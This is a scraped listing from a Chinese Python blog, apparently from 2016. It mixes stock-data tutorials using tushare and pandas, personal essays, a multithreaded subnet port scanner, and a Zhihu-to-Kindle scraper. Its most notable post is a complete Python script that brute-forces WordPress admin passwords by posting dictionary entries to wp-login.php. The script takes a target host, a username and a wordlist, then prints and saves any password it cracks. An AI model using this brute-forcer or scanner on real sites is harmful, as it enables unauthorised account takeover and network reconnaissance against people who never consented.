30天学会量化交易模型 Day02

量化交易李魔佛 发表了文章 • 0 个评论 • 17984 次浏览 • 2016-05-17 16:30 • 来自相关话题

github同步代码: https://github.com/Rockyzsu/stock
 30天学会量化交易模型 Day01
 
接着上一篇,如果已经掌握了pandas数据类型的各种使用,就可以进入tushare数据的抓取环节。
 
tushare安装教程:
pip install tushare #最傻瓜且最快的安装方式
 
使用方法:





说明:
获取个股历史交易数据(包括均线数据),可以通过参数设置获取日k线、周k线、月k线,以及5分钟、15分钟、30分钟和60分钟k线数据。本接口只能获取近3年的日线数据,适合搭配均线数据进行选股和分析,如果需要全部历史数据,请调用下一个接口get_h_data()。

参数说明:

code:股票代码,即6位数字代码,或者指数代码(sh=上证指数 sz=深圳成指 hs300=沪深300指数 sz50=上证50 zxb=中小板 cyb=创业板)
start:开始日期,格式YYYY-MM-DD
end:结束日期,格式YYYY-MM-DD
ktype:数据类型,D=日k线 W=周 M=月 5=5分钟 15=15分钟 30=30分钟 60=60分钟,默认为D
retry_count:当网络异常后重试次数,默认为3
pause:重试时停顿秒数,默认为0

返回值说明:

date:日期
open:开盘价
high:最高价
close:收盘价
low:最低价
volume:成交量
price_change:价格变动
p_change:涨跌幅
ma5:5日均价
ma10:10日均价
ma20:20日均价
v_ma5:5日均量
v_ma10:10日均量
v_ma20:20日均量
turnover:换手率[注:指数无此项]
 
如果要获取所有的历史数据,可以使用 ts.get_h_data(股票代码,开始日期,结束日期) 即可。
 

ts.get_hist_data('600848',start='2015-01-05',end='2015-01-09')
 







 其它的一些参数:






 
接着学习数据的存储:
 
首先来扫一下盲: csv和excel的区别:

excel中后缀为csv和xls,二者区别如下:
1、xls 文件就是Microsoft excel电子表格的文件格式。
2、csv是最通用的一种文件格式,它可以非常容易地被导入各种PC表格及数据库中。 此文件,一行即为数据表的一行。生成数据表字段用半角逗号隔开。
csv是文本文件,用记事本就能打开,XLS是二进制的文件只有用EXCEL才能打
csv文件是以逗号为分隔符号,将各字段列分离出的一种ASCII文件。
csv(*.csv) 文件格式只能保存活动工作表中的单元格所显示的文本和数值。工作表中所有的数据行和字符都将保存。
数据列以逗号分隔,每一行数据都以回车符结束。如果单元格中包含逗号,则该单元格中的内容以双引号引起。

 

保存为csv格式







############################
获取股市市场的基本信息:
 
stock_info=ts.get_stock_basics()
 
包含了
"""
        获取沪深上市公司基本情况
    Return
    --------
    DataFrame
               code,代码
               name,名称
               industry,细分行业
               area,地区
               pe,市盈率
               outstanding,流通股本
               totals,总股本(万)
               totalAssets,总资产(万)
               liquidAssets,流动资产
               fixedAssets,固定资产
               reserved,公积金
               reservedPerShare,每股公积金
               eps,每股收益
               bvps,每股净资
               pb,市净率
               timeToMarket,上市日期
    """
 
获取所有股市的代码:
stock_info=ts.get_stock_basics()
def get_all_stock_id():
#获取所有股票代码
for i in stock_info.index:
print i
 


下一篇:30天学会量化交易模型 Day03
链接:http://30daydo.com/article/15 

 

  查看全部
github同步代码: https://github.com/Rockyzsu/stock
 30天学会量化交易模型 Day01
 
接着上一篇,如果已经掌握了pandas数据类型的各种使用,就可以进入tushare数据的抓取环节。
 
tushare安装教程:
pip install tushare #最傻瓜且最快的安装方式
 
使用方法:
TuShare_-财经数据接口包.jpg


说明:
获取个股历史交易数据(包括均线数据),可以通过参数设置获取日k线、周k线、月k线,以及5分钟、15分钟、30分钟和60分钟k线数据。本接口只能获取近3年的日线数据,适合搭配均线数据进行选股和分析,如果需要全部历史数据,请调用下一个接口get_h_data()。

参数说明:

code:股票代码,即6位数字代码,或者指数代码(sh=上证指数 sz=深圳成指 hs300=沪深300指数 sz50=上证50 zxb=中小板 cyb=创业板)
start:开始日期,格式YYYY-MM-DD
end:结束日期,格式YYYY-MM-DD
ktype:数据类型,D=日k线 W=周 M=月 5=5分钟 15=15分钟 30=30分钟 60=60分钟,默认为D
retry_count:当网络异常后重试次数,默认为3
pause:重试时停顿秒数,默认为0

返回值说明:

date:日期
open:开盘价
high:最高价
close:收盘价
low:最低价
volume:成交量
price_change:价格变动
p_change:涨跌幅
ma5:5日均价
ma10:10日均价
ma20:20日均价
v_ma5:5日均量
v_ma10:10日均量
v_ma20:20日均量
turnover:换手率[注:指数无此项]
 
如果要获取所有的历史数据,可以使用 ts.get_h_data(股票代码,开始日期,结束日期) 即可。
 

ts.get_hist_data('600848',start='2015-01-05',end='2015-01-09')
 

所有数据.jpg



 其它的一些参数:

TuShare_-财经数据接口包1.jpg


 
接着学习数据的存储:
 
首先来扫一下盲: csv和excel的区别:


excel中后缀为csv和xls,二者区别如下:
1、xls 文件就是Microsoft excel电子表格的文件格式。
2、csv是最通用的一种文件格式,它可以非常容易地被导入各种PC表格及数据库中。 此文件,一行即为数据表的一行。生成数据表字段用半角逗号隔开。
csv是文本文件,用记事本就能打开,XLS是二进制的文件只有用EXCEL才能打
csv文件是以逗号为分隔符号,将各字段列分离出的一种ASCII文件。
csv(*.csv) 文件格式只能保存活动工作表中的单元格所显示的文本和数值。工作表中所有的数据行和字符都将保存。
数据列以逗号分隔,每一行数据都以回车符结束。如果单元格中包含逗号,则该单元格中的内容以双引号引起。


 

保存为csv格式

cvs.jpg



############################
获取股市市场的基本信息:
 
stock_info=ts.get_stock_basics()
 
包含了
"""
        获取沪深上市公司基本情况
    Return
    --------
    DataFrame
               code,代码
               name,名称
               industry,细分行业
               area,地区
               pe,市盈率
               outstanding,流通股本
               totals,总股本(万)
               totalAssets,总资产(万)
               liquidAssets,流动资产
               fixedAssets,固定资产
               reserved,公积金
               reservedPerShare,每股公积金
               eps,每股收益
               bvps,每股净资
               pb,市净率
               timeToMarket,上市日期
    """
 
获取所有股市的代码:
stock_info=ts.get_stock_basics()
def get_all_stock_id():
#获取所有股票代码
for i in stock_info.index:
print i

 


下一篇:30天学会量化交易模型 Day03
链接:http://30daydo.com/article/15 

 

 

女生30岁~

默认分类xenia 发表了文章 • 0 个评论 • 2394 次浏览 • 2016-05-17 12:01 • 来自相关话题

最近
一位女性好友失恋,恰逢30岁,这个年龄在中国社会是一个大龄剩女的坎,心急如焚的坎
突然间4年的感情不翼而飞,而后深夜买醉,少了一个人在身边,让她觉得异常孤单
哭过,卑微挽留过
剩下仅存骄傲让她咬着一股气,马不停蹄的开始报名各大交友网站,下班后积极参加各式交友俱乐部的交友活动
只要遇到不会心生讨厌的男生,就开始加微信,交换电话,私聊热聊
到处撒网
她说:不知何时,感觉自己成了一个结婚狂,怕自己30以后没人要了”~
 
我特别理解她的感受,曾经我也在28岁失恋后,心急如焚过~
而当我29岁时,在一个陌生的城市,遇到了生命中的他(这些都不是我能预计的)
幸福就像命中注定的出现了~
所以作为过来人,我只能安慰和鼓励她“ 亲爱的,请相信属于你的缘分是一定存在的”
这句轻描淡写的话,不知道对她有没有任何温暖的作用
但是在中国这样一个社会,看到一个30岁的女生为了把自己嫁出去,作出的不懈努力,看到她每次开心地和我分享找到潜在发展的对象时,作为朋友的我,除了祝福外,能给的就是深深的拥抱~然后跟她说“只要你幸福就好”~
 
 
 
 
 
 
 
 
 
 
    
 
 
     
 
  
  查看全部
最近
一位女性好友失恋,恰逢30岁,这个年龄在中国社会是一个大龄剩女的坎,心急如焚的坎
突然间4年的感情不翼而飞,而后深夜买醉,少了一个人在身边,让她觉得异常孤单
哭过,卑微挽留过
剩下仅存骄傲让她咬着一股气,马不停蹄的开始报名各大交友网站,下班后积极参加各式交友俱乐部的交友活动
只要遇到不会心生讨厌的男生,就开始加微信,交换电话,私聊热聊
到处撒网
她说:不知何时,感觉自己成了一个结婚狂,怕自己30以后没人要了”~
 
我特别理解她的感受,曾经我也在28岁失恋后,心急如焚过~
而当我29岁时,在一个陌生的城市,遇到了生命中的他(这些都不是我能预计的)
幸福就像命中注定的出现了~
所以作为过来人,我只能安慰和鼓励她“ 亲爱的,请相信属于你的缘分是一定存在的”
这句轻描淡写的话,不知道对她有没有任何温暖的作用
但是在中国这样一个社会,看到一个30岁的女生为了把自己嫁出去,作出的不懈努力,看到她每次开心地和我分享找到潜在发展的对象时,作为朋友的我,除了祝福外,能给的就是深深的拥抱~然后跟她说“只要你幸福就好”~
 
 
 
 
 
 
 
 
 
 
    
 
 
     
 
  
 

30天学会量化交易模型 Day01

量化交易李魔佛 发表了文章 • 6 个评论 • 65495 次浏览 • 2016-05-16 16:14 • 来自相关话题

Day 01 ---- Pandas
github同步代码: https://github.com/Rockyzsu/stock

 本人是一个会一点pyhton语言的菜鸟,对量化交易很好奇,准备在30天内学会量化交易。每天更新一篇文章,视乎个人每天宽裕的时间有多少,时间多就多写点,如果时间仓促就可能写的粗略一些,但每天都会坚持去写。
 
第一天
首先要找到获取股票市场的数据来源,python支持几个股票接口。 个人采用tushare。
 
对于tushare,使用最多的数据类型就是pandas中的DataFrame了。
 
先导入包:





创建对象 Series
1、可以通过传递一个list对象来创建一个Series,pandas会默认创建整型索引:




(np.nan是一个空值)

通过传递一个numpy array,时间索引以及列标签来创建一个DataFrame:





通过传递一个能够被转换成类似序列结构的字典对象来创建一个DataFrame:




 
查看不同列的数据类型:




 
查看数据
 
查看frame中头部和尾部的行:





显示索引、列和底层的numpy数据:





describe()函数对于数据的快速统计汇总:





 对数据的转置:




 
数据选择
虽然标准的Python/Numpy的选择和设置表达式都能够直接派上用场,但是作为工程使用的代码,我们推荐使用经过优化的pandas数据访问方式: .at, .iat, .loc, .iloc 和 .ix
选择一个单独的列,这将会返回一个Series,等同于df.A:
 




通过进行选择,这将会对行进行切片




 
通过标签选择
使用标签来获取一个交叉的区域
 




通过标签来在多个轴上进行选择





标签切片





 

通过位置选择
 
通过传递数值进行位置选择(选择的是行)
 






通过数值进行切片,与numpy/python中的情况类似
 






 
通过指定一个位置的列表,与numpy/python中的情况类似
 






 
获取特定的值
 






 
布尔索引
 
1. 使用一个单独列的值来选择数据:






2. 使用where操作来选择数据:






 3.  使用isin()方法来过滤:






相关操作
 
  统计(相关操作通常情况下不包括缺失值)
 
执行描述性统计:
 






 
 
Pandas读取excel数据:#-*-coding=utf-8-*-
__author__ = 'rocky'
import pandas as pd
import numpy as np
def excel_op():
df=pd.read_excel("mystock.xls")
print df.head()

excel_op()(前提是需要安装xlrd 一个python对excel操作的包)
 






pandas中有Nan的非法数据,需要怎样处理呢?
 
可以使用 
code=code.fillna(0)
这个fillna(0) 函数,用来填充NaN的部分。 
 
填充后是这样子的:






这样对数据进行遍历的时候就可以通过 if data !=0 来判断是非非法。 因为没有其他表达式可以判断NaN
 
 
对于一些超大的excel或者csv文件,怎样读才能提高效率呢 ?df = pd.read_csv('test.csv', chunksize=10000)
for chunk in df:
# TODO: process the chunk as a normal DataFrame上面的参数就把csv文件分割为10000份,然后每份进行处理。
 
 
对dataframe的每一行进行遍历: for index,row in df.iterrows():
print row[u'代码'],row[u'资金发生数']上面的代码会循环输出每一行的 “代码”列和“资金发生数”列。
 

 下一篇:30天学会量化交易模型 Day02
http://30daydo.com/article/13
 
python数据分析之 A股上市公司按地区分布与可视化
http://30daydo.com/article/388 

转载请注明:http://30daydo.com/article/11
  查看全部
Day 01 ---- Pandas
github同步代码: https://github.com/Rockyzsu/stock

 本人是一个会一点pyhton语言的菜鸟,对量化交易很好奇,准备在30天内学会量化交易。每天更新一篇文章,视乎个人每天宽裕的时间有多少,时间多就多写点,如果时间仓促就可能写的粗略一些,但每天都会坚持去写。
 
第一天
首先要找到获取股票市场的数据来源,python支持几个股票接口。 个人采用tushare。
 
对于tushare,使用最多的数据类型就是pandas中的DataFrame了。
 
先导入包:
1.jpg


创建对象 Series
1、可以通过传递一个list对象来创建一个Series,pandas会默认创建整型索引:
2.jpg

(np.nan是一个空值)

通过传递一个numpy array,时间索引以及列标签来创建一个DataFrame:
3.jpg


通过传递一个能够被转换成类似序列结构的字典对象来创建一个DataFrame:
4.jpg

 
查看不同列的数据类型:
5.jpg

 
查看数据
 
查看frame中头部和尾部的行:
6.jpg


显示索引、列和底层的numpy数据:
a1.jpg


describe()函数对于数据的快速统计汇总:
a2.jpg


 对数据的转置:
a3.jpg

 
数据选择
虽然标准的Python/Numpy的选择和设置表达式都能够直接派上用场,但是作为工程使用的代码,我们推荐使用经过优化的pandas数据访问方式: .at, .iat, .loc, .iloc 和 .ix
选择一个单独的列,这将会返回一个Series,等同于df.A:
 
a4.jpg


通过进行选择,这将会对行进行切片
a5.jpg

 
通过标签选择
使用标签来获取一个交叉的区域
 
a6.jpg


通过标签来在多个轴上进行选择
a7.jpg


标签切片

a8.jpg

 

通过位置选择
 
通过传递数值进行位置选择(选择的是行)
 
a1.jpg



通过数值进行切片,与numpy/python中的情况类似
 

a2.jpg


 
通过指定一个位置的列表,与numpy/python中的情况类似
 
a3.jpg



 
获取特定的值
 

a4.jpg


 
布尔索引
 
1. 使用一个单独列的值来选择数据:

a11.jpg


2. 使用where操作来选择数据:

a12.jpg


 3.  使用isin()方法来过滤:

a13.jpg


相关操作
 
  统计(相关操作通常情况下不包括缺失值)
 
执行描述性统计:
 

a14.jpg


 
 
Pandas读取excel数据:
#-*-coding=utf-8-*-
__author__ = 'rocky'
import pandas as pd
import numpy as np
def excel_op():
df=pd.read_excel("mystock.xls")
print df.head()

excel_op()
(前提是需要安装xlrd 一个python对excel操作的包)
 

pandas1.PNG


pandas中有Nan的非法数据,需要怎样处理呢?
 
可以使用 
code=code.fillna(0)
这个fillna(0) 函数,用来填充NaN的部分。 
 
填充后是这样子的:

pandas2.PNG


这样对数据进行遍历的时候就可以通过 if data !=0 来判断是非非法。 因为没有其他表达式可以判断NaN
 
 
对于一些超大的excel或者csv文件,怎样读才能提高效率呢 ?
df = pd.read_csv('test.csv', chunksize=10000)
for chunk in df:
# TODO: process the chunk as a normal DataFrame
上面的参数就把csv文件分割为10000份,然后每份进行处理。
 
 
对dataframe的每一行进行遍历:
    for index,row in df.iterrows():
print row[u'代码'],row[u'资金发生数']
上面的代码会循环输出每一行的 “代码”列和“资金发生数”列。
 

 下一篇:30天学会量化交易模型 Day02
http://30daydo.com/article/13
 
python数据分析之 A股上市公司按地区分布与可视化
http://30daydo.com/article/388 

转载请注明:http://30daydo.com/article/11
 

某周一早上

30天新尝试xenia 发表了文章 • 0 个评论 • 1755 次浏览 • 2016-05-16 11:02 • 来自相关话题

某周一的早上,在饭桌上望着闹钟懒洋洋啃着早餐,想着离周五还那么遥远,总有一种崩溃的感觉;任重而道远...习惯开手机,刷微信,不喜欢点赞,不习惯评论,那些晒吃晒喝,晒娃晒照骗的,每天上演,无聊至及;这是无法拒绝的朋友圈...
 
突然看到朋友圈里一条这样的信息:
“一名杀人犯被判死刑。他必须选择三个房间中的一个受死。第一个房间里燃烧着熊熊烈火。第二个房间里全是刺客,手里都拿着上了子弹的枪。而第三个房间则塞满了3年没有进食的狮子。哪一个房间对他来说比较安全呢?”
 
嘿嘿,这第一反应是进哪个房间都必死无疑啊~ 请问你是这么想的吗,我承认我是的~
哈,提示扫描二维码,关注后有答案,好奇害死猫,还是傻愣愣的关注了,运营商就这样圈了我这样一个粉,连看个朋友圈都要成为粉,当今世道不是粉貌似都不能活了~
 
好吧,分析说“死胡同的思维,让我们忘记了 3年没进食的狮子,咋还能起来吃人呢?” 
 
突然不明觉厉~脑袋清醒了很多,尽管面对崩溃的周一,还得去上班啊~
 
 
 
 
 
 
 
 
 
 
 
 
 
  查看全部
某周一的早上,在饭桌上望着闹钟懒洋洋啃着早餐,想着离周五还那么遥远,总有一种崩溃的感觉;任重而道远...习惯开手机,刷微信,不喜欢点赞,不习惯评论,那些晒吃晒喝,晒娃晒照骗的,每天上演,无聊至及;这是无法拒绝的朋友圈...
 
突然看到朋友圈里一条这样的信息:
“一名杀人犯被判死刑。他必须选择三个房间中的一个受死。第一个房间里燃烧着熊熊烈火。第二个房间里全是刺客,手里都拿着上了子弹的枪。而第三个房间则塞满了3年没有进食的狮子。哪一个房间对他来说比较安全呢?”
 
嘿嘿,这第一反应是进哪个房间都必死无疑啊~ 请问你是这么想的吗,我承认我是的~
哈,提示扫描二维码,关注后有答案,好奇害死猫,还是傻愣愣的关注了,运营商就这样圈了我这样一个粉,连看个朋友圈都要成为粉,当今世道不是粉貌似都不能活了~
 
好吧,分析说“死胡同的思维,让我们忘记了 3年没进食的狮子,咋还能起来吃人呢?” 
 
突然不明觉厉~脑袋清醒了很多,尽管面对崩溃的周一,还得去上班啊~
 
 
 
 
 
 
 
 
 
 
 
 
 
 

python 多线程扫描开放端口

python低调的哥哥 发表了文章 • 0 个评论 • 7077 次浏览 • 2016-05-15 21:15 • 来自相关话题

为什么说python是黑客的语言? 因为很多扫描+破解的任务都可以用python很快的实现,简洁明了。且有大量的库来支持。import socket,sys
import time
from thread_test import MyThread

socket.setdefaulttimeout(1)
#设置每个线程socket的timeou时间,超过1秒没有反应就认为端口不开放
thread_num=4
#线程数目
ip_end=256
ip_start=0
scope=ip_end/thread_num

def scan(ip_head,ip_low, port):
try:
# Alert !!! below statement should be inside scan function. Else each it is one s
ip=ip_head+str(ip_low)
print ip
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
#通过这一句判断 是否连通
s.close()
print "ip %s port %d open\n" %(ip,port)
return True
except:
return False


def scan_range(ip_head,ip_range,port):
start,end=ip_range
for i in range(start,end):
scan(ip_head,i,port)

if len(sys.argv)<3:
print "input ip and port"
exit()

ip_head=sys.argv[1]
port=int(sys.argv[2])


ip_range=
for i in range(thread_num):
x_range=[i*scope,(i+1)*scope-1]
ip_range.append(x_range)

threads=
for i in range(thread_num):
t=MyThread(scan_range,(ip_head,ip_range,port))
threads.append(t)
for i in range(thread_num):
threads.start()
for i in range(thread_num):
threads.join()
#设置进程阻塞,防止主线程退出了,其他的多线程还在运行

print "*****end*****"多线程的类函数实现: 有一些测试函数在上面没注释或者删除掉,为了让一些初学者更加容易看懂。import thread,threading,time,datetime
from time import sleep,ctime
def loop1():
print "start %s " %ctime()
print "start in loop1"
sleep(3)
print "end %s " %ctime()

def loop2():
print "sart %s " %ctime()
print "start in loop2"
sleep(6)
print "end %s " %ctime()


class MyThread(threading.Thread):
def __init__(self,fun,arg,name=""):
threading.Thread.__init__(self)
self.fun=fun
self.arg=arg
self.name=name
#self.result

def run(self):
self.result=apply(self.fun,self.arg)

def getResult(self):
return self.result

def fib(n):
if n<2:
return 1
else:
return fib(n-1)+fib(n-2)


def sum(n):
if n<2:
return 1
else:
return n+sum(n-1)

def fab(n):
if n<2:
return 1
else:
return n*fab(n-1)

def single_thread():
print fib(12)
print sum(12)
print fab(12)


def multi_thread():
print "in multithread"
fun_list=[fib,sum,fab]
n=len(fun_list)
threads=
count=12
for i in range(n):
t=MyThread(fun_list,(count,),fun_list.__name__)
threads.append(t)
for i in range(n):
threads.start()

for i in range(n):
threads.join()
result= threads.getResult()
print result
def main():
'''
print "start at main"
thread.start_new_thread(loop1,())
thread.start_new_thread(loop2,())
sleep(10)
print "end at main"
'''
start=ctime()
#print "Used %f" %(end-start).seconds
print start
single_thread()
end=ctime()
print end
multi_thread()
#print "used %s" %(end-start).seconds
if __name__=="__main__":
main()
 
最终运行的格式就是  python scan_host.py 192.168.1. 22
上面的命令就是扫描192.168.1 ip段开启了22端口服务的机器,也就是ssh服务。 
 
github:https://github.com/Rockyzsu/scan_host​ 

  查看全部
为什么说python是黑客的语言? 因为很多扫描+破解的任务都可以用python很快的实现,简洁明了。且有大量的库来支持。
import socket,sys
import time
from thread_test import MyThread

socket.setdefaulttimeout(1)
#设置每个线程socket的timeou时间,超过1秒没有反应就认为端口不开放
thread_num=4
#线程数目
ip_end=256
ip_start=0
scope=ip_end/thread_num

def scan(ip_head,ip_low, port):
try:
# Alert !!! below statement should be inside scan function. Else each it is one s
ip=ip_head+str(ip_low)
print ip
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
#通过这一句判断 是否连通
s.close()
print "ip %s port %d open\n" %(ip,port)
return True
except:
return False


def scan_range(ip_head,ip_range,port):
start,end=ip_range
for i in range(start,end):
scan(ip_head,i,port)

if len(sys.argv)<3:
print "input ip and port"
exit()

ip_head=sys.argv[1]
port=int(sys.argv[2])


ip_range=
for i in range(thread_num):
x_range=[i*scope,(i+1)*scope-1]
ip_range.append(x_range)

threads=
for i in range(thread_num):
t=MyThread(scan_range,(ip_head,ip_range,port))
threads.append(t)
for i in range(thread_num):
threads.start()
for i in range(thread_num):
threads.join()
#设置进程阻塞,防止主线程退出了,其他的多线程还在运行

print "*****end*****"
多线程的类函数实现: 有一些测试函数在上面没注释或者删除掉,为了让一些初学者更加容易看懂。
import thread,threading,time,datetime
from time import sleep,ctime
def loop1():
print "start %s " %ctime()
print "start in loop1"
sleep(3)
print "end %s " %ctime()

def loop2():
print "sart %s " %ctime()
print "start in loop2"
sleep(6)
print "end %s " %ctime()


class MyThread(threading.Thread):
def __init__(self,fun,arg,name=""):
threading.Thread.__init__(self)
self.fun=fun
self.arg=arg
self.name=name
#self.result

def run(self):
self.result=apply(self.fun,self.arg)

def getResult(self):
return self.result

def fib(n):
if n<2:
return 1
else:
return fib(n-1)+fib(n-2)


def sum(n):
if n<2:
return 1
else:
return n+sum(n-1)

def fab(n):
if n<2:
return 1
else:
return n*fab(n-1)

def single_thread():
print fib(12)
print sum(12)
print fab(12)


def multi_thread():
print "in multithread"
fun_list=[fib,sum,fab]
n=len(fun_list)
threads=
count=12
for i in range(n):
t=MyThread(fun_list,(count,),fun_list.__name__)
threads.append(t)
for i in range(n):
threads.start()

for i in range(n):
threads.join()
result= threads.getResult()
print result
def main():
'''
print "start at main"
thread.start_new_thread(loop1,())
thread.start_new_thread(loop2,())
sleep(10)
print "end at main"
'''
start=ctime()
#print "Used %f" %(end-start).seconds
print start
single_thread()
end=ctime()
print end
multi_thread()
#print "used %s" %(end-start).seconds
if __name__=="__main__":
main()

 
最终运行的格式就是  python scan_host.py 192.168.1. 22
上面的命令就是扫描192.168.1 ip段开启了22端口服务的机器,也就是ssh服务。 
 
github:https://github.com/Rockyzsu/scan_host​ 

 

如何在电脑使用网线直连树莓派? 树莓派没有连接显示器

树莓派低调的哥哥 回复了问题 • 2 人关注 • 1 个回复 • 6837 次浏览 • 2016-05-14 13:02 • 来自相关话题

python 暴力破解wordpress博客后台登陆密码

python爬虫低调的哥哥 发表了文章 • 0 个评论 • 15744 次浏览 • 2016-05-13 17:49 • 来自相关话题

自己曾经折腾过一阵子wordpress的博客,说实话,wordpress在博客系统里面算是功能很强大的了,没有之一。
不过用wordpress的朋友可能都是贪图方便,很多设置都使用的默认,我之前使用的某一个wordpress版本中,它的后台没有任何干扰的验证码(因为它默认给用户关闭了,需要自己去后台开启,一般用户是使用缺省设置)。
 






所以只要使用python+urllib库,就可以循环枚举出用户的密码。而用户名在wordpress博客中就是博客发布人的名字。
 
所以以后用wordpress的博客用户,平时还是把图片验证码的功能开启,怎样安全性会高很多。(其实python也带有一个破解一个验证码的库  - 。-!)# coding=utf-8
# 破解wordpress 后台用户密码
import urllib, urllib2, time, re, cookielib,sys


class wordpress():
def __init__(self, host, username):
#初始化定义 header ,避免被服务器屏蔽
self.username = username
self.http="http://"+host
self.url = self.http + "/wp-login.php"
self.redirect = self.http + "/wp-admin/"
self.user_agent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)'
self.referer=self.http+"/wp-login.php"
self.cook="wordpress_test_cookie=WP+Cookie+check"
self.host=host
self.headers = {'User-Agent': self.user_agent,"Cookie":self.cook,"Referer":self.referer,"Host":self.host}
self.cookie = cookielib.CookieJar()
self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie))


def crash(self, filename):
try:
pwd = open(filename, 'r')
#读取密码文件,密码文件中密码越多破解的概率越大
while 1 :
i=pwd.readline()
if not i :
break

data = urllib.urlencode(
{"log": self.username, "pwd": i.strip(), "testcookie": "1", "redirect_to": self.redirect})
Req = urllib2.Request(url=self.url, data=data, headers=self.headers)
#构造好数据包之后提交给wordpress网站后台
Resp = urllib2.urlopen(Req)
result = Resp.read()
# print result
login = re.search(r'login_error', result)
#判断返回来的字符串,如果有login error说明失败了。
if login:
pass
else:
print "Crashed! password is %s %s" % (self.username,i.strip())
g=open("wordpress.txt",'w+')
g.write("Crashed! password is %s %s" % (self.username,i.strip()))
pwd.close()
g.close()
#如果匹配到密码, 则这次任务完成,退出程序
exit()
break

pwd.close()

except Exception, e:
print "error"
print e
print "Error in reading password"


if __name__ == "__main__":
print "begin at " + time.ctime()
host=sys.argv[1]
#url = "http://"+host
#给程序提供参数,为你要破解的网址
user = sys.argv[2]
dictfile=sys.argv[3]
#提供你事先准备好的密码文件
obj = wordpress(host, user)
#obj.check(dictfile)
obj.crash(dictfile)
#obj.crash_v()
print "end at " + time.ctime()





 
github源码:https://github.com/Rockyzsu/crashWordpressPassword
  查看全部
自己曾经折腾过一阵子wordpress的博客,说实话,wordpress在博客系统里面算是功能很强大的了,没有之一。
不过用wordpress的朋友可能都是贪图方便,很多设置都使用的默认,我之前使用的某一个wordpress版本中,它的后台没有任何干扰的验证码(因为它默认给用户关闭了,需要自己去后台开启,一般用户是使用缺省设置)。
 

wordpress后台.PNG


所以只要使用python+urllib库,就可以循环枚举出用户的密码。而用户名在wordpress博客中就是博客发布人的名字。
 
所以以后用wordpress的博客用户,平时还是把图片验证码的功能开启,怎样安全性会高很多。(其实python也带有一个破解一个验证码的库  - 。-!)
# coding=utf-8
# 破解wordpress 后台用户密码
import urllib, urllib2, time, re, cookielib,sys


class wordpress():
def __init__(self, host, username):
#初始化定义 header ,避免被服务器屏蔽
self.username = username
self.http="http://"+host
self.url = self.http + "/wp-login.php"
self.redirect = self.http + "/wp-admin/"
self.user_agent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)'
self.referer=self.http+"/wp-login.php"
self.cook="wordpress_test_cookie=WP+Cookie+check"
self.host=host
self.headers = {'User-Agent': self.user_agent,"Cookie":self.cook,"Referer":self.referer,"Host":self.host}
self.cookie = cookielib.CookieJar()
self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie))


def crash(self, filename):
try:
pwd = open(filename, 'r')
#读取密码文件,密码文件中密码越多破解的概率越大
while 1 :
i=pwd.readline()
if not i :
break

data = urllib.urlencode(
{"log": self.username, "pwd": i.strip(), "testcookie": "1", "redirect_to": self.redirect})
Req = urllib2.Request(url=self.url, data=data, headers=self.headers)
#构造好数据包之后提交给wordpress网站后台
Resp = urllib2.urlopen(Req)
result = Resp.read()
# print result
login = re.search(r'login_error', result)
#判断返回来的字符串,如果有login error说明失败了。
if login:
pass
else:
print "Crashed! password is %s %s" % (self.username,i.strip())
g=open("wordpress.txt",'w+')
g.write("Crashed! password is %s %s" % (self.username,i.strip()))
pwd.close()
g.close()
#如果匹配到密码, 则这次任务完成,退出程序
exit()
break

pwd.close()

except Exception, e:
print "error"
print e
print "Error in reading password"


if __name__ == "__main__":
print "begin at " + time.ctime()
host=sys.argv[1]
#url = "http://"+host
#给程序提供参数,为你要破解的网址
user = sys.argv[2]
dictfile=sys.argv[3]
#提供你事先准备好的密码文件
obj = wordpress(host, user)
#obj.check(dictfile)
obj.crash(dictfile)
#obj.crash_v()
print "end at " + time.ctime()





 
github源码:https://github.com/Rockyzsu/crashWordpressPassword
 

树莓派搭建ftp服务器 vsftpd 无法上传文件?

网络安全低调的哥哥 回复了问题 • 2 人关注 • 1 个回复 • 4743 次浏览 • 2016-05-13 16:34 • 来自相关话题

python爬虫 模拟登陆知乎 推送知乎文章到kindle电子书 获取自己的关注问题

python爬虫低调的哥哥 发表了文章 • 0 个评论 • 33363 次浏览 • 2016-05-12 17:53 • 来自相关话题

平时逛知乎,上班的时候看到一些好的答案,不过由于答案太长,没来得及看完,所以自己写了个python脚本,把自己想要的答案抓取下来,并且推送到kindle上,下班后用kindle再慢慢看。 平时喜欢的内容也可以整理成电子书抓取下来,等周末闲时看。
 
#2016-08-19更新:
添加了模拟登陆知乎的模块,自动获取自己的关注的问题id,然后把这些问题的所有答案抓取下来推送到kindle











# -*-coding=utf-8-*-
__author__ = 'Rocky'
# -*-coding=utf-8-*-
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import smtplib
from email import Encoders, Utils
import urllib2
import time
import re
import sys
import os

from bs4 import BeautifulSoup

from email.Header import Header

reload(sys)
sys.setdefaultencoding('utf-8')


class GetContent():
def __init__(self, id):

# 给出的第一个参数 就是你要下载的问题的id
# 比如 想要下载的问题链接是 https://www.zhihu.com/question/29372574
# 那么 就输入 python zhihu.py 29372574

id_link = "/question/" + id
self.getAnswer(id_link)

def save2file(self, filename, content):
# 保存为电子书文件
filename = filename + ".txt"
f = open(filename, 'a')
f.write(content)
f.close()

def getAnswer(self, answerID):
host = "http://www.zhihu.com"
url = host + answerID
print url
user_agent = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
# 构造header 伪装一下
header = {"User-Agent": user_agent}
req = urllib2.Request(url, headers=header)

try:
resp = urllib2.urlopen(req)
except:
print "Time out. Retry"
time.sleep(30)
# try to switch with proxy ip
resp = urllib2.urlopen(req)
# 这里已经获取了 网页的代码,接下来就是提取你想要的内容。 使用beautifulSoup 来处理,很方便
try:
bs = BeautifulSoup(resp)

except:
print "Beautifulsoup error"
return None

title = bs.title
# 获取的标题

filename_old = title.string.strip()
print filename_old
filename = re.sub('[\/:*?"<>|]', '-', filename_old)
# 用来保存内容的文件名,因为文件名不能有一些特殊符号,所以使用正则表达式过滤掉

self.save2file(filename, title.string)


detail = bs.find("div", class_="zm-editable-content")

self.save2file(filename, "\n\n\n\n--------------------Detail----------------------\n\n")
# 获取问题的补充内容

if detail is not None:

for i in detail.strings:
self.save2file(filename, unicode(i))

